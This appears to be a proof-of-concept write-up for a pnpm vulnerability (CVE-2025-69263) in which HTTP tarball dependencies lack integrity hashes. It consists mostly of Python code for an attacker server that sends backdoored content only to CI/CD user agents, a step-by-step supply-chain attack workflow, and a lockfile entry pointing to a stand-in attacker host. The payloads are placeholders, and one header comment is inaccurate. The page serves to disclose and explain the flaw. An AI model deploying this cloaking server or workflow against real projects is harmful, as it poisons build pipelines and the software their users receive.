CVE-2025-69263 pnpm HTTP tarball依赖完整性验证缺失漏洞

# CVE-2025-69263 PoC - Simulated Attack Scenario # This PoC demonstrates how an attacker can exploit the integrity hash absence import http.server import hashlib import json from datetime import datetime class MaliciousTarballServer(http.server.BaseHTTPRequestHandler): """Attacker-controlled server serving different content based on request""" def do_GET(self): # Normal tarball content (served on first install) normal_content = b'PK\x03\x04...' # Valid tarball header # Malicious tarball content (served after lockfile committed) malicious_content = b'PK\x03\x04# Malicious package with backdoor\n' # Check if request comes from CI/CD or has specific indicators user_agent = self.headers.get('User-Agent', '') if 'CI' in user_agent or 'GitHub' in user_agent or 'GitLab' in user_agent: # Serve malicious payload to CI/CD environments content = malicious_content print(f"[{datetime.now()}] Served MALICIOUS payload to: {user_agent}") else: # Serve legitimate content to developers content = normal_content print(f"[{datetime.now()}] Served NORMAL payload to: {user_agent}") self.send_response(200) self.send_header('Content-Type', 'application/gzip') self.send_header('Content-Length', len(content)) self.end_headers() self.wfile.write(content) # Attacker workflow: # 1. Publish malicious package to npm with HTTP tarball dependency # 2. Set up controlled server (MaliciousTarballServer) # 3. Wait for victims to install package and commit lockfile # 4. Modify server to serve different/malicious payload # 5. Victims in CI/CD get backdoored code # Vulnerable pnpm lockfile entry (no integrity hash): vulnerable_lockfile_entry = { "packages": { "/my-malicious-dep/1.0.0": { "resolution": { "tarball": "http://attacker-server.com/malicious.tar.gz" } # Missing integrity hash - the core vulnerability } } }